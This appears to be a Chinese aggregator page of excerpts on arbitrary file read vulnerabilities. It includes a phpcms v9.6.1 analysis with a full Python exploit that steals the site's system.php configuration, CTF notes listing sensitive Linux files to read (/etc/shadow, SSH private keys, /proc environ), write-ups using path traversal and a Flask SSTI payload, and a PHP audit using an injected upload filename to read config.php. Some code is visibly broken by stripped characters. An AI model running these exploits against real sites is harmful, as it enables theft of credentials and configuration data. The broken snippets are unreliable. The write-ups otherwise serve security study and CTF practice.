精华内容
下载资源
问答
  • phpcmsv9.6.1 任意文件读取漏洞
    2021-04-26 17:33:07

    phpcms v9.6.1 爆出的任意文件读取漏洞, 来一起分析以下,这次漏洞可以说和9.6.0爆出来的sqli注入漏洞有一些联系,漏洞文件和漏洞利用方法都是一样的,只是这次漏洞点在down.php的download函数

    我们定位到漏洞函数/phpcms/modules/content/down.php Line 103-127

    public function download() {

    $a_k = trim($_GET['a_k']);

    $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');

    $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

    if(empty($a_k)) showmessage(L('illegal_parameters'));

    unset($i,$m,$f,$t,$ip);

    $a_k = safe_replace($a_k);

    parse_str($a_k);

    if(isset($i)) $downid = intval($i);

    if(!isset($m)) showmessage(L('illegal_parameters'));

    if(!isset($modelid)) showmessage(L('illegal_parameters'));

    if(empty($f)) showmessage(L('url_invalid'));

    if(!$i || $m<0) showmessage(L('illegal_parameters'));

    if(!isset($t)) showmessage(L('illegal_parameters'));

    if(!isset($ip)) showmessage(L('illegal_parameters'));

    $starttime = intval($t);

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

    $fileurl = trim($f);

    if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));

    $endtime = SYS_TIME - $starttime;

    if($endtime > 3600) showmessage(L('url_invalid'));

    if($m) $fileurl = trim($s).trim($fileurl);

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

    //远程文件

    if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {

    header("Location: $fileurl");

    } else {

    if($d == 0) {

    header("Location: ".$fileurl);

    } else {

    $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);

    $filename = basename($fileurl);

    //处理中文文件

    if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {

    $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));

    $filename = urldecode(basename($filename));

    }

    $ext = fileext($filename);

    $filename = date('Ymd_his').random(3).'.'.$ext;

    $fileurl = str_replace(array(''), '',$fileurl);

    file_down($fileurl, $filename);

    }

    }

    }

    这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤。

    和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下:

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

    $fileurl = trim($f);

    过滤了一些黑名单,空格以及目录跳跃,之后把$s和$f作为下载文件路径:

    if($m) $fileurl = trim($s).trim($fileurl);

    再把拼接后的文件名过滤一次,程序继续运行,来到最关键的一步:

    $fileurl = str_replace(array(''), '',$fileurl);

    file_down($fileurl, $filename);

    file_down函数是文件下载函数,调用readfile读取文件,在进入这个函数之前还用了一个str_replace 函数去除了大小括号,这就为我们绕过提供了思路,我们只需要构造 php< 或 php> 这样的后缀,就可以绕过正则, 之后被str_replace去掉了括号,就可以下载被过滤的文件后缀了。

    a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:

    6c3db9acb5d8

    image.png

    payload 如下:

    &i=1&m=1&d=1&modelid=2&catid=6&s=./phpcms/modules/content/down.ph&f=p%3%252%2*70C

    放入src参数中,解后的$s=./phpcms/modules/content/down.ph, $f=p%3%252%2*70C

    $f 的取值为p%3%252%2*70C --safe_replace-> p%3%252%270C --safe_replace--> p%3%2520C --parse_str--> p%3%20C --safe_replace-->p%3C --parse_str--> p< --str_replace-->p

    最后和$s拼接就拼接出来了php,绕过了正则了, 过程也是比较复杂, 但payload构造骚,值得学习。

    补丁分析

    phpcms v9.6.3 修复了该漏洞, 就是在用str_replace函数去掉括号后再用正则过滤了一次。

    6c3db9acb5d8

    image.png

    写了一个读取system.php配置文件的exp:

    #!/usr/bin/env python

    # -*- coding: utf-8 -*-

    """

    phpcmsv9.6.0 sqli verify and attach poc

    """

    import requests

    import re

    from urllib import quote

    TIMEOUT = 3

    def geta_k(url,payload):

    url = url if '://' in url else 'http://' + url

    url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

    cookies = {}

    #print 'step1'

    step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)

    #print 'step1',step1

    for c in requests.get(step1,timeout=TIMEOUT).cookies:

    if c.name[-7:] == '_siteid':

    cookie_head = c.name[:6]

    cookies[cookie_head + '_userid'] = c.value

    cookies[c.name] = c.value

    break

    else:

    return False

    step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))

    #print 'step2:',step2,cookies

    for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:

    if c.name[-9:] == '_att_json':

    enc_payload = c.value

    return enc_payload

    break

    else:

    return False

    def download(url):

    url = url if '://' in url else 'http://' + url

    url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')

    # 以获取system.php配置文件为例,其他文件可以自行修改链接即可,只能下载cms的php文件

    payload = "&i=1&m=1&d=1&modelid=2&catid=6&s=caches/configs/system.ph&f=p%3%252%2*70C"

    a_k = geta_k(url,payload)

    url3 = url+"/index.php?m=content&c=down&siteid=1&a=init&a_k="+a_k

    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}

    html = requests.get(url3,headers=headers)

    res = re.findall(r'',html.content)

    if res[0]:

    downfile = res[0]

    else:

    return False

    url4 = url+'/index.php'+downfile

    rep = requests.get(url4,headers=headers)

    print rep.content

    if __name__ == '__main__':

    download('http://localhost/')

    更多相关内容
  • 文章目录1.3.1 文件读取漏洞常见触发点1.3.1.1 web语言1. PHP2.python3.Java4.Ruby5.Node1.3.1.2 中间件、服务件相关1.Nginx错误配置2.数据库3.软链接4.FFmpeg5.Docker-API1.3.1.3 客户端相关1.浏览器/Flash XSS...

    1.3.1 文件读取漏洞常见触发点

    1.3.1.1 web语言

    1. PHP

    重点函数:

    • file_get_contents()
    • file()
    • fopen()函数(及其文件指针操作函数fread()、fgets()等)
    • 与文件包含相关的函数
      • include()
      • require()、
      • include_once()
      • require_once()
    • 通过PHP读文件的执行系统命令
      • system()
      • exec()

    PHP开发技术越来越倾向于单入口、多层级、多通道的模式,其中涉及PHP文件之间的调用密集且频繁。开发者为了写出一个高复用性的文件调用函数,就需要将一些动态的信息传入(如可变的部分文件名)那些函数(见图1-3-1),如果在程序入口处没有利用switch等分支语句对这些动态输入的数据加以控制,攻击者就很容易注入恶意的路径,从而实现任意文件读取甚至任意文件包含。

    php提供文件流—> 协议---->Wrapper---->Filter对Wrapper进行一定处理

    实际情况:

    • 文件路径前面可控,后面不可控

      使用\x00截断,对应的URL编码是“%00”,当服务端存在文件上传功能时,也可以尝试利用zip或phar协议直接进行文件包含进而执行PHP代码。

    • 文件路径后面可控,前面不可控

      通过符号“../”进行目录穿越来直接读取文件,这种情况下无法使用Wrapper。如果服务端是利用include等文件包含类函数,将无法读取php文件中的PHP代码。

    • 文件路径中间可控

      与第一种情况类似,但无法利用Wrapper进行文件包含。

    2.python

    与PHP不同的是,Python的Web应用更多地倾向于通过其自身的模块启动服务,同时搭配中间件、代理服务将整个Web应用呈现给用户。用户和Web应用交互的过程本身就包含对服务器资源文件的请求,所以容易出现非预期读取文件的情况。因此,我们看到的层出不穷的Python某框架任意文件读取漏洞也是因为缺乏统一的资源文件交互的标准。
    漏洞经常出现在框架请求静态资源文件部分,也就是最后读取文件内容的open函数,但直接导致漏洞的成因往往是框架开发者忽略了Python函数的feature,如os.path.join()函数:

    >>> os.path.join("/a". "/b")
    '/b'
    

    很多开发者通过判断用户传入的路径不包含“.”来保证用户在读取资源时不会发生目录穿越,随后将用户的输入代入os.path.join的第二个参数,但是如果用户传入“/”,则依然可以穿越到根目录,进而导致任意文件读取。这是一个值得我们注意并深思的地方。

    3.Java

    除了Java本身的文件读取函数FileInputStream、XXE导致的文件读取,Java的一些模块也支持“file://”协议,这是Java应用中出现任意文件读取最多的地方,如Spring Cloud Config Server路径穿越与任意文件读取漏洞(CVE-2019-3799)、Jenkins任意文件读取漏洞(CVE-2018-1999002)等。

    4.Ruby

    在CTF线上比赛中,Ruby的任意文件读取漏洞通常与Rails框架相关。到目前为止,我们已知的通用漏洞为Ruby On Rails远程代码执行漏洞(CVE-2016-0752)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2018-3760)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2019-5418)。笔者在CTF竞赛中就曾遇到Ruby On Rails远程代码执行漏洞(CVE-2016-0752)的利用。

    5.Node

    目前,已知Node.js的express模块曾存在任意文件读取漏洞(CVE-2017-14849),但笔者还未遇到相关CTF赛题。CTF中Node的文件读取漏洞通常为模板注入、代码注入等情况。

    1.3.1.2 中间件、服务件相关

    1.Nginx错误配置

    location /static {
    	alias /home/myapp/static/;
    }
    

    如果配置文件中包含上面这段内容,很可能是运维或者开发人员想让用户可以访问static目录(一般是静态资源目录)。但是,如果用户请求的Web路径是/static../,拼接到alias上就变成了/home/myapp/static/../,此时便会产生目录穿越漏洞,并且穿越到了myapp目录。这时,攻击者可以任意下载Python源代码和字节码文件。
    **注意:**漏洞的成因是location最后没有加“/”限制,Nginx匹配到路径static后,把其后面的内容拼接到alias,如果传入的是/static../,Nginx并不认为这是跨目录,而是把它当作整个目录名,所以不会对它进行跨目录相关处理。

    2.数据库

    MySQL的load_file()函数可以进行文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有),其次需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/用户可读),主流Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关的目录下),可谓“一波三折”。即使这么严格的利用条件,我们还是经常可以在CTF线上比赛中遇到相关的文件读取题。
    还有一种方式读取文件,但是与load_file()文件读取函数不同,这种方式需要执行完整的SQL语句,即load data infile。同样,这种方式需要FILE权限,不过比较少见,因为除了SSRF攻击MySQL这种特殊情形,很少有可以直接执行整条非基本SQL语句(除了SELECT/UPDATE/INSERT)的机会。

    3.软链接

    bash命令ln-s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

    4.FFmpeg

    2017年6月,FFmpeg被爆出存在任意文件读取漏洞。同年的全国大学生信息安全竞赛实践赛(CISCN)就利用这个漏洞出了一道CTF线上题目(相关题解可以参考https://www.cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html)。

    5.Docker-API

    Docker-API可以控制Docker的行为,一般来说,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信。当我们遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信的时候,就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取(利用Docker的ADD、COPY操作),从而形成一种另类的任意文件读取。

    1.3.1.3 客户端相关

    客户端也存在文件读取漏洞,大多是基于XSS漏洞读取本地文件。

    1.浏览器/Flash XSS

    一般来说,很多浏览器会禁止JavaScript代码读取本地文件的相关操作,如请求一个远程网站,如果它的JavaScript代码中使用了File协议读取客户的本地文件,那么此时会由于同源策略导致读取失败。但在浏览器的发展过程中存在着一些操作可以绕过这些措施,如Safari浏览器在2017年8月被爆出存在一个客户端的本地文件读取漏洞。

    2.MarkDown语法解析器XSS

    与XSS相似,Markdown解析器也具有一定的解析JavaScript的能力。但是这些解析器大多没有像浏览器一样对本地文件读取的操作进行限制,很少有与同源策略类似的防护措施。

    1.3.2 文件读取漏洞常见读取路径

    1.3.2.1 Linux

    1.flag名称(相对路径)

    对flag名称进行模糊测试

    2.服务器信息(绝对路径)

    1. /etc——各种应用或系统配置文件,是进行文件读取的首要目标

    2. /etc/passwd——Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。

      • 系统存在哪些用户
      • 用户所属的组是什么
      • 工作目录是什么
    3. /etc/shadow——linux系统保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写,shadow组可读。一般情况下不可读

    4. /etc/apche2/*——Apache配置文件,可以获知web目录、服务端口等信息

    5. /etc/nginx/*——Nginx配置文件(Ubuntu等系统),可以获知web目录、服务端口等信息

    6. /etc/apparmor(.d)/*——Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。

    7. /etc/(cron.d/*|crontab)——定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。

    8. /etc/environment——环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。

    9. /etc/hostname——主机名。

    10. /etc/hosts——主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。

    11. /etc/issue——指明系统版本。

    12. /etc/mysql/*——MySQL配置文件。

    13. /etc/php/*——PHP配置文件。

    14. /proc目录
      /proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。
      在这里插入图片描述

    15. 其他目录

      在这里插入图片描述在这里插入图片描述

    1.3.2.2 Windows

    Windows系统下的Web应用任意文件读取漏洞在CTF赛题中并不常见,但是Windows与PHP搭配使用时存在一个问题:可以使用“<”等符号作为通配符,从而在不知道完整文件名的情况下进行文件读取,这部分内容会在下面的例题中详细介绍。

    展开全文
  • 任意文件读取漏洞知识梳理

    千次阅读 2021-11-17 16:32:10
    文章目录1.概述2....  文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。主要读取文件是服务器的各种配置文件文件形式存储的密钥、服务器信息(包括正在执行的进

    1.概述

      文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。主要读取的文件是服务器的各种配置文件、文件形式存储的密钥、服务器信息(包括正在执行的进程信息)、历史命令、网络信息、应用源码及二进制程序。

    2.开发语言触发点

    2.1 PHP

    • 标准库函数:file_get_contents()、file()、fopen()函数(及其文件指针操作函数fread()、fgets()等),与文件包含相关的函数(include()、require()、include_once()、require_once()等),以及通过PHP读文件的执行系统命令(system()、exec()等)。
    • 拓展:php-curl扩展(文件内容作为HTTP body)涉及文件存取的库(如数据库相关扩展、图片相关扩展)、XML模块造成的XXE。

    2.2 Python

    • 漏洞经常出现在框架请求静态资源文件部分,也就是最后读取文件内容的open函数,但直接导致漏洞的成因往往是框架开发者忽略了Python函数的feature。
    • 涉及文件操作的应用也因为滥用open函数、模板的不当渲染导致任意文件读取。如:将用户输入的某些数据作为文件名的一部分(常见于认证服务或者日志服务)存储在服务器中,在取文件内容的部分也通过将经过处理的用户输入数据作为索引去查找相关文件。
    • 攻击者构造软链接放入压缩包,解压后的内容会直接指向服务器相应文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。
    • Python的模板注入、反序列化等漏洞都可造成一定程度的任意文件读取。

    2.3 Java

    • Java本身的文件读取函数FileInputStream、XXE导致的文件读取。
    • Java的一些模块也支持“file://”协议,这是Java应用中出现任意文件读取最多的地方,如Spring Cloud Config Server路径穿越与任意文件读取漏洞(CVE-2019-3799)、Jenkins任意文件读取漏洞(CVE-2018-1999002)等。

    2.4 Ruby

    • Ruby的任意文件读取漏洞通常与Rails框架相关。到目前为止,我们已知的通用漏洞为Ruby On Rails远程代码执行漏洞(CVE-2016-0752)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2018-3760)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2019-5418)。笔者在CTF竞赛中就曾遇到Ruby On Rails远程代码执行漏洞(CVE-2016-0752)的利用。

    2.5 Node

    • Node.js的express模块曾存在任意文件读取漏洞(CVE-2017-14849)。
    • CTF中Node的文件读取漏洞通常为模板注入、代码注入等情况。

    3.中间件/服务器相关触发点

    3.1 Nginx错误配置

    Location /static{
    Alias /home/myapp/static/;
    }
    
    • 如果配置文件中包含上面这段内容,很可能是运维或者开发人员想让用户可以访问static目录(一般是静态资源目录)。
    • 如果用户请求的Web路径是/static…/,拼接到alias上就变成了/home/myapp/static/…/,此时便会产生目录穿越漏洞,并且穿越到了myapp目录。

    3.2 数据库

    以mysql为例:

    • MySQL的load_file()函数可以进行文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有)。
    • 其次需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/用户可读),主流Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关的目录下)。

    3.3 软链接

    • bash命令ln-s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

    3.4 FFmpeg

    • 参考一道题目:https://www.cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html

    3.5 Docker-API

    • Docker-API可以控制Docker的行为,一般来说,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信。
    • 当我们遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信的时候,就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取(利用Docker的ADD、COPY操作),从而形成一种另类的任意文件读取。

    4.文件读取的目标目录

    • /etc:/etc目录下多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。
    • /etc/passwd:/etc/passwd文件是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么。
    • /etc/shadow:/etc/shadow是Linux系统保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写、shadow组可读。所以一般情况下,这个文件是不可读的。
    • /etc/apache2/*:是Apache配置文件,可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。
    • etc/nginx/*:是Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。
    • /etc/apparmor(.d)/*:是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。
    • /etc/(cron.d/*|crontab):定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。
    • /etc/environment:是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
    • /etc/hostname:表示主机名。
    • /etc/hosts:是主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。
    • /etc/issue:指明系统版本。
    • /etc/mysql/*:是MySQL配置文件。
    • /etc/php/*:是PHP配置文件。
    • /proc目录:/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。
      • 目录下的cmdline可读出比较敏感的信息:/proc/[pid]/cmdline
      • 通过cwd命令可以直接跳转到当前目录:/proc/[pid]/cwd
      • 环境变量中可能存在secret_key,这时也可以通过environ进行读取:/proc/[pid]/environ
    • 其他目录:
      • Nginx配置文件可能存在其他路径:/usr/local/nginx/conf/*
      • 日志文件:/var/log/*
      • Apache默认Web根目录:/var/www/html
      • PHP session目录:/var/lib/php(5)/sessions 可能泄露用户Session
      • 用户目录:[user_dir_you_know]/.bash_history 历史命令执行
        [user_dir_you_know]/.bashrc 部分环变量
        [user_dir_you_know]/.ssh/id_rsa(.pub) ssh登录的私钥/公钥
        [user_dir_you_know]/.viminfo vim的使用记录

    5.题目复现

      题目地址:https://buuoj.cn/challenges

    5.1 afr_1

      打开题目:发现了?p=hello,然后页面回显了hello world。猜测存在文件包含,而且get传入的参数p后面应该被加上了后缀。尝试?p=flag,发现回显no no no,因此我们要读取的文件应该就是flag.php。
    在这里插入图片描述
    在这里插入图片描述
    直接使用PHP伪协议读取文件:

    ?p=php://filter/read=convert.base64-encode/resource=flag
    

    在这里插入图片描述
    解码得到flag。

    5.2 afr_2

    进行目录扫描发现了img目录,直接进行访问。
    在这里插入图片描述
    之后尝试目录穿越:

    https://ec45dcbb-a35f-468b-9d40-51e0a6da2a38.node4.buuoj.cn/img../
    

    在这里插入图片描述

    5.3 afr_3

    本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入

    • 请求 http://IP:PORT/article?name=…/…/…/…/…/proc/self/cmdline获取当前执行系统命令,得到python server.py
    • 请求 http://IP:PORT/article?name=…/…/…/…/…/proc/self/cwd/server.py获取源码
    • 审计源码,发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag
    • 源码里存在flask SSTI,前提是可以伪造flask的cookie,这里需要用到appkey https://noraj.github.io/flask-session-cookie-manager/
    @app.route("/n1page", methods=["GET", "POST"])
    def n1page():
        if request.method != "POST":
            return redirect(url_for("index"))
        n1code = request.form.get("n1code") or None
        if n1code is not None:
            n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
        if "n1code" not in session or session['n1code'] is None:
            session['n1code'] = n1code
        template = None
        if session['n1code'] is not None:
         '''
         这里存在SSTI
         '''
            template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
            session['n1code'] = None
        return render_template_string(template)
    

    所以请求 http://IP:PORT/article?name=…/…/…/…/…/proc/self/cwd/key.py获取appkey

    • 伪造cookie为SSTI的payload获取flag。
    {{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
    
    展开全文
  • php代码审计之任意文件读取漏洞

    千次阅读 2020-02-21 14:25:03
    任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取的配置信息甚至系统重要文件,当然,严重的话, 就可能导致SSRF,进而漫游内网。 代码审计: 这次审计的代码,还是之前的一个审计靶场,个人说...

    前言:

    任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取的配置信息甚至系统重要文件,当然,严重的话, 就可能导致SSRF,进而漫游内网。

    代码审计:

    这次审计的代码,还是之前的一个审计靶场,个人说过是比较适合初级审计人员的一个靶场,里面包含了常见的漏洞。废话不多说,看步骤。
    第一步:首先我们通过全文搜索的方式搜索:file_get_contents结果搜索到了一个名为user/avatar.php的文件,代码的内容如下:
    可以看到通过file_get_contents获取到了$_SESSION['avatar']的值。
    在这里插入图片描述
    第二步:通过全局搜索的方式跟踪变量$_SESSION['avatar']看该变量是如何而来的。
    最后搜索到文件名为user\updateAvatar.php通过查看源代码得知,该文件是用来判断头像上传的文件。代码如下:
    大致的意思就是通过is_pic函数判断上传的头像是否合法,如果合法则定义一个上传路径$avatar
    然后将上传的缓存文件直接存放到上传的路径中去$avatar,随后执行更新的sql语句,将头像路径$avatar写入到数据库中,最后执行 $_SESSION['avatar']=$avatar 直接将路径的地址复制给$_SESSION['avatar']
    在这里插入图片描述第三步:通过代码审计得知$_SESSION['avatar']值的由来,判断是否可以构造$avatar为其他任意文件路径,判断$avatar是由$uploaddir /u_ time() _ $FILES['upfile']['name']构造而来,最后通过sql语句去执行,那么这里我们构造sql语句为update users set user_avatar='$avator',user_avatar='$avatar where user_id={$_SESSION['user_id']}'这里用到了sql语句执行update时的特性,如果更新的字段是两个一摸一样的话,那么此时update更新的值是以后面的字段为准的。
    这里我们构造的值为',user_avatar='2' where user_name ='test' #.png也就是我们上传图片时的命名字,开启burp来进行抓包。
    在这里插入图片描述第四步:执行了以后通过burp查看是302跳转的,此时,我们打开mysql查看用户头像信息,看是否改变成了2。
    可以看到是成功并执行了。
    在这里插入图片描述第四步:此时我们在上传的时候只要修改对应2的值,即可读取到其他敏感文件了,重新将值构造为',user_avatar='../sys/config.php' where user_name ='test' #.png经过测试…/sys/config.php需要修改为16进制为0x2e2e2f7379732f636f6e6669672e706870
    此时对应的数据库中数据也被修改。
    在这里插入图片描述第五步:通过burp抓包,直接访问user/avatar.php文件,直接读取config.php文件内容。
    在这里插入图片描述

    总结:

    首先通过全局搜索的方式找到了file_get_contents函数,并且一步步的逐一定位到变量$_SESSION[‘avatar’]变量的值是通过上传头像时获得的,并且时可控的,判断是否进行过滤,然后进行值的控制,最后成功读取敏感文件。

    展开全文
  • 【题目简介】在home.php中存在一处include函数导致的文件包含漏洞,传至include函数的路径参数前半部分攻击者可控,后半部分内容确定,不可控部分是后缀的.php。 在upload.php处存在文件上传功能,但上传至服务器的...
  • 任意文件读取漏洞

    2021-09-03 10:26:05
    1.有读取文件函数; 2.读取文件的路径用户可控; 3.输出文件内容; 4.存在下载文件的功能; 漏洞危害: 1.读取敏感文件,如/etc/passwd; 2.读取服务器和系统配置信息; 3.下载数据库配置信息; 谷歌语法: inurl...
  • Windows任意文件读取漏洞

    千次阅读 2018-12-21 16:23:58
    低权限用户或恶意程序读取目标Windows计算机上任何文件的内容,设想你在内网测试的时候取得了一个普通权限,还能干吗,用该漏洞作者SandboxEscaper的一句话来说,也许是密码文件,我不够聪明,不知道能干吗。...
  • 1. 任意文件读取 一些网站的需求,可能...不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的 1:存在读取文件函数(web应用开放了读取功能) 2:读取文件的路径客户端可控(完全控制) 3:没有对文件
  • 任意文件读取与下载漏洞

    千次阅读 2022-04-07 15:28:36
    文件读取漏洞文件下载漏洞文件包含漏洞三者结合,靶场练习
  • Apache Solr简介 Solr是一个独立的企业级搜索应用服务器,它...API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的
  • 任意文件读取及删除漏洞

    千次阅读 2021-02-02 14:28:42
    任意文件读取漏洞及危害 通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感信息文件,正常读取文件没有经过校验或者不严格,用户可以控制这个...
  • mysql任意文件读取漏洞学习

    千次阅读 2019-09-11 17:33:03
    最近在做ctf题时发现关于mysql任意文件读取漏洞的考点非常频繁,而且一直都朦胧不清,也没去学习,在不久前的DDCTF和国赛,还有最近的Nu1lCTF中都考到了这个点,利用Load data infile语法。在mysql客户端登陆mysql...
  • 任意文件读取与下载漏洞学习

    千次阅读 2021-01-25 19:36:24
    在web安全中,任意文件读取漏洞是非常常见的一种漏洞,属于文件操作类漏洞,一般常见于PHP/java/python语言中,任意文件读取漏洞,顾名思义,就是可以任意读取服务器上部分或者全部文件漏洞,攻击者利用此漏洞...
  • 1.3 任意文件读取漏洞 所谓文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。从整个攻击过程来看,它常常作为资产信息搜集的一种强力的补充手段,服务器的各种配置文件文件形式存储...
  • 影响范围 FFmpeg 2.8.x < 2.8.5 ...由于vulhub并没有讲述该漏洞如何复现,我们需要进入环境查看源码 <?php if(!empty($_FILES)) { $filename = escapeshellarg($_FILES['file']['tmp_name']);
  • 导致我们可以控制“javax.servlet.include.request_uri”,“javax.servlet.include.path_info”,“javax.servlet.include.servlet_path”,这三个参数,从而读取任意文件漏洞环境: Tomcat 8.0.50版本搭建, ...
  • phith0n · 2015/03/04 9:210x00 前言早前发现boooom在乌云上发了很多个任意文件读取漏洞,都是形如http://target/../../../../etc/passwd 复制代码这样。当时感觉很新奇,因为正常情况下,通常的服务器中间件是不...
  • 任意文件下载/读取漏洞

    千次阅读 2020-09-22 23:08:53
    文章目录任意文件下载/读取可下载文件WindowsLinuxSSHNginx任意文件读取的利用思路进一步推断系统版本无痕反弹shell常用默认路径整理sshNginxApachejettyresintomcatsvn一些网站由于业务需求,往往需要提供文件查看...
  • windows 任意文件读取漏洞复现

    千次阅读 2019-01-02 00:03:09
    在复现windows 的最新0day(任意用户下,可以读取任意文件)之前,先简单介绍下windows 下用户管理需要的基本命令。 文章首发公众号,欢迎大家关注,并进技术交流群(363034250),共同进步哈。 windows 用户管理...
  • 404实验室内部的WAM(Web应用监控程序,文末有关于WAM的介绍)监控到 MetInfo 版本更新,并且自动diff了文件,从diff上来看,应该是修复了一个任意文件读取漏洞,但是没有修复完全,导致还可以被绕过,本文就是记录这...
  • 原标题:代码审计之任意文件下载漏洞案例分享*本文原创作者:...发现这套cms还是比较安全的,而当我审计遇到一处下载点的时候发现存在安全问题,也就是任意文件下载漏洞任意文件下载漏洞php最常见的函数就是read...
  • 任意文件下载漏洞

    千次阅读 2020-09-22 23:12:56
    INF0x04 漏洞绕过0x05 漏洞利用常见利用文件路径WindowsLinux0x06 漏洞判断0x07 漏洞验证0x08 漏洞防护通用文件下载漏洞修复0x09 文件路径汇总任意文件读取漏洞漏洞产生原因任意文件读取文件读取函数漏洞验证任意...
